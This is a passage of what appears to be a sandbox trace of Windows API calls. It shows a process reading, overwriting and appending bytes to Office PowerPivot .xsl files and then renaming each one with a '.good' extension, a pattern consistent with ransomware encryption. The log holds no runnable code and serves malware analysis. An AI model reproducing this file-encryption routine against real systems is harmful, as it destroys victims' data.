ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16736b69, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x908a4726, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x18569)) returned 1 [0248.857] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec920) returned 1 [0248.857] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\sql90.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql90.xsl.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\sql90.xsl.gоod")) returned 1 [0248.858] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sqlpdw.xsl", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sqlpdw.xsl", lpFilePart=0x0) returned 0x64 [0248.858] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec9a0) returned 1 [0248.858] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sqlpdw.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\sqlpdw.xsl"), fInfoLevelId=0x0, lpFileInformation=0x3862148 | out: lpFileInformation=0x3862148*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16677f4b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16677f4b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x166ea6b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1393e)) returned 1 [0249.000] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec960) returned 1 [0249.000] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sqlpdw.xsl", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sqlpdw.xsl", lpFilePart=0x0) returned 0x64 [0249.000] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0249.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sqlpdw.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\sqlpdw.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0249.001] GetFileType (hFile=0x8a0) returned 0x1 [0249.001] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0249.001] GetFileType (hFile=0x8a0) returned 0x1 [0249.001] SetFilePointer (in: hFile=0x8a0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x1000 [0249.001] ReadFile (in: hFile=0x8a0, lpBuffer=0x37bb3e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec9c8, lpOverlapped=0x0 | out: lpBuffer=0x37bb3e0*, lpNumberOfBytesRead=0x206ec9c8*=0x1000, lpOverlapped=0x0) returned 1 [0249.002] CloseHandle (hObject=0x8a0) returned 1 [0249.002] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sqlpdw.xsl", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sqlpdw.xsl", lpFilePart=0x0) returned 0x64 [0249.002] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0249.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sqlpdw.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\sqlpdw.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0249.003] GetFileType (hFile=0x8a0) returned 0x1 [0249.003] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0249.003] GetFileType (hFile=0x8a0) returned 0x1 [0249.003] SetFilePointer (in: hFile=0x8a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x1393e [0249.003] WriteFile (in: hFile=0x8a0, lpBuffer=0x37bc700*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x206ec8e8, lpOverlapped=0x0 | out: lpBuffer=0x37bc700*, lpNumberOfBytesWritten=0x206ec8e8*=0x10, lpOverlapped=0x0) returned 1 [0249.004] CloseHandle (hObject=0x8a0) returned 1 [0249.004] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sqlpdw.xsl", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sqlpdw.xsl", lpFilePart=0x0) returned 0x64 [0249.004] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0249.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sqlpdw.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\sqlpdw.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0249.004] GetFileType (hFile=0x8a0) returned 0x1 [0249.004] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0249.004] GetFileType (hFile=0x8a0) returned 0x1 [0249.004] ReadFile (in: hFile=0x8a0, lpBuffer=0x37bea48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec978, lpOverlapped=0x0 | out: lpBuffer=0x37bea48*, lpNumberOfBytesRead=0x206ec978*=0x1000, lpOverlapped=0x0) returned 1 [0249.058] CloseHandle (hObject=0x8a0) returned 1 [0249.058] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sqlpdw.xsl", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sqlpdw.xsl", lpFilePart=0x0) returned 0x64 [0249.058] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0249.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sqlpdw.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\sqlpdw.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0249.058] GetFileType (hFile=0x8a0) returned 0x1 [0249.058] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0249.058] GetFileType (hFile=0x8a0) returned 0x1 [0249.058] WriteFile (in: hFile=0x8a0, lpBuffer=0x37bd768*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x206eca28, lpOverlapped=0x0 | out: lpBuffer=0x37bd768*, lpNumberOfBytesWritten=0x206eca28*=0x1010, lpOverlapped=0x0) returned 1 [0249.059] CloseHandle (hObject=0x8a0) returned 1 [0249.059] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sqlpdw.xsl", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sqlpdw.xsl", lpFilePart=0x0) returned 0x64 [0249.059] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sqlpdw.xsl.gоod", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sqlpdw.xsl.gоod", lpFilePart=0x0) returned 0x69 [0249.059] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec960) returned 1 [0249.059] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sqlpdw.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\sqlpdw.xsl"), fInfoLevelId=0x0, lpFileInformation=0x206eca40 | out: lpFileInformation=0x206eca40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16677f4b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16677f4b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x90a945b1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1394e)) returned 1 [0249.059] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec920) returned 1 [0249.059] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sqlpdw.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\sqlpdw.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sqlpdw.xsl.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\sqlpdw.xsl.gоod")) returned 1 [0249.060] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\Sybase.xsl", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\Sybase.xsl", lpFilePart=0x0) returned 0x64 [0249.060] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec9a0) returned 1 [0249.060] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\sybase.xsl"), fInfoLevelId=0x0, lpFileInformation=0x383d1a8 | out: lpFileInformation=0x383d1a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x166ea6b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x166ea6b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x76a1)) returned 1 [0249.060] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec960) returned 1 [0249.060] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\Sybase.xsl", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\Sybase.xsl", lpFilePart=0x0) returned 0x64 [0249.060] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0249.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\sybase.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0249.061] GetFileType (hFile=0x8a0) returned 0x1 [0249.061] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0249.061] GetFileType (hFile=0x8a0) returned 0x1 [0249.061] SetFilePointer (in: hFile=0x8a0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x1000 [0249.061] ReadFile (in: hFile=0x8a0, lpBuffer=0x383d630, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec9c8, lpOverlapped=0x0 | out: lpBuffer=0x383d630*, lpNumberOfBytesRead=0x206ec9c8*=0x1000, lpOverlapped=0x0) returned 1 [0249.634] CloseHandle (hObject=0x8a0) returned 1 [0249.763] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\Sybase.xsl", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\Sybase.xsl", lpFilePart=0x0) returned 0x64 [0249.763] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0249.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\sybase.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0249.771] GetFileType (hFile=0x864) returned 0x1 [0249.772] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0249.772] GetFileType (hFile=0x864) returned 0x1 [0249.772] SetFilePointer (in: hFile=0x864, lDistanceToMove=0, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x76a1 [0249.774] WriteFile (in: hFile=0x864, lpBuffer=0x38cd1f0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x206ec8e8, lpOverlapped=0x0 | out: lpBuffer=0x38cd1f0*, lpNumberOfBytesWritten=0x206ec8e8*=0x10, lpOverlapped=0x0) returned 1 [0249.925] CloseHandle (hObject=0x864) returned 1 [0249.925] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\Sybase.xsl", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\Sybase.xsl", lpFilePart=0x0) returned 0x64 [0249.926] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0249.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\sybase.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0249.926] GetFileType (hFile=0x864) returned 0x1 [0249.926] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0249.926] GetFileType (hFile=0x864) returned 0x1 [0249.926] ReadFile (in: hFile=0x864, lpBuffer=0x37f6858, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec978, lpOverlapped=0x0 | out: lpBuffer=0x37f6858*, lpNumberOfBytesRead=0x206ec978*=0x1000, lpOverlapped=0x0) returned 1 [0251.714] CloseHandle (hObject=0x864) returned 1 [0251.714] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\Sybase.xsl", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\Sybase.xsl", lpFilePart=0x0) returned 0x64 [0251.714] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0251.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\sybase.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0251.715] GetFileType (hFile=0x864) returned 0x1 [0251.715] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0251.715] GetFileType (hFile=0x864) returned 0x1 [0251.715] WriteFile (in: hFile=0x864, lpBuffer=0x37ceea0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x206eca28, lpOverlapped=0x0 | out: lpBuffer=0x37ceea0*, lpNumberOfBytesWritten=0x206eca28*=0x1010, lpOverlapped=0x0) returned 1 [0251.715] CloseHandle (hObject=0x864) returned 1 [0251.715] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\Sybase.xsl", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\Sybase.xsl", lpFilePart=0x0) returned 0x64 [0251.715] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\Sybase.xsl.gоod", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\Sybase.xsl.gоod", lpFilePart=0x0) returned 0x69 [0251.715] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec960) returned 1 [0251.715] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\sybase.xsl"), fInfoLevelId=0x0, lpFileInformation=0x206eca40 | out: lpFileInformation=0x206eca40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x166ea6b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x166ea6b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x923fbdf1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x76b1)) returned 1 [0251.715] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec920) returned 1 [0251.715] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\sybase.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\Sybase.xsl.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\sybase.xsl.gоod")) returned 1 [0251.716] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\trdtv2r41.xsl", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\trdtv2r41.xsl", lpFilePart=0x0) returned 0x67 [0251.716] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec9a0) returned 1 [0251.716] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\trdtv2r41.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\trdtv2r41.xsl"), fInfoLevelId=0x0, lpFileInformation=0x39123c0 | out: lpFileInformation=0x39123c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1662bb01, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1662bb01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16651cf9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6c42)) returned 1 [0251.716] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec960) returned 1 [0251.716] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\trdtv2r41.xsl", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\trdtv2r41.xsl", lpFilePart=0x0) returned 0x67 [0251.716] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0251.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\trdtv2r41.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\trdtv2r41.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0251.717] GetFileType (hFile=0x864) returned 0x1 [0251.717] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0251.717] GetFileType (hFile=0x864) returned 0x1 [0251.717] SetFilePointer (in: hFile=0x864, lDistanceToMove=4096, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x1000 [0251.717] ReadFile (in: hFile=0x864, lpBuffer=0x3912858, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec9c8, lpOverlapped=0x0 | out: lpBuffer=0x3912858*, lpNumberOfBytesRead=0x206ec9c8*=0x1000, lpOverlapped=0x0) returned 1 [0251.718] CloseHandle (hObject=0x864) returned 1 [0251.718] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\trdtv2r41.xsl", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\trdtv2r41.xsl", lpFilePart=0x0) returned 0x67 [0251.718] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0251.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\trdtv2r41.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\trdtv2r41.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0251.718] GetFileType (hFile=0x864) returned 0x1 [0251.718] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0251.719] GetFileType (hFile=0x864) returned 0x1 [0251.719] SetFilePointer (in: hFile=0x864, lDistanceToMove=0, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x6c42 [0251.719] WriteFile (in: hFile=0x864, lpBuffer=0x3913bd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x206ec8e8, lpOverlapped=0x0 | out: lpBuffer=0x3913bd0*, lpNumberOfBytesWritten=0x206ec8e8*=0x10, lpOverlapped=0x0) returned 1 [0251.720] CloseHandle (hObject=0x864) returned 1 [0251.720] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\trdtv2r41.xsl", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\trdtv2r41.xsl", lpFilePart=0x0) returned 0x67 [0251.720] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0251.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\trdtv2r41.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\trdtv2r41.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0251.720] GetFileType (hFile=0x864) returned 0x1 [0251.720] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0251.720] GetFileType (hFile=0x864) returned 0x1 [0251.720] ReadFile (in: hFile=0x864, lpBuffer=0x3915f00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec978, lpOverlapped=0x0 | out: lpBuffer=0x3915f00*, lpNumberOfBytesRead=0x206ec978*=0x1000, lpOverlapped=0x0) returned 1 [0252.478] CloseHandle (hObject=0x864) returned 1 [0252.478] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\trdtv2r41.xsl", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\trdtv2r41.xsl", lpFilePart=0x0) returned 0x67 [0252.478] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0252.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\trdtv2r41.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel 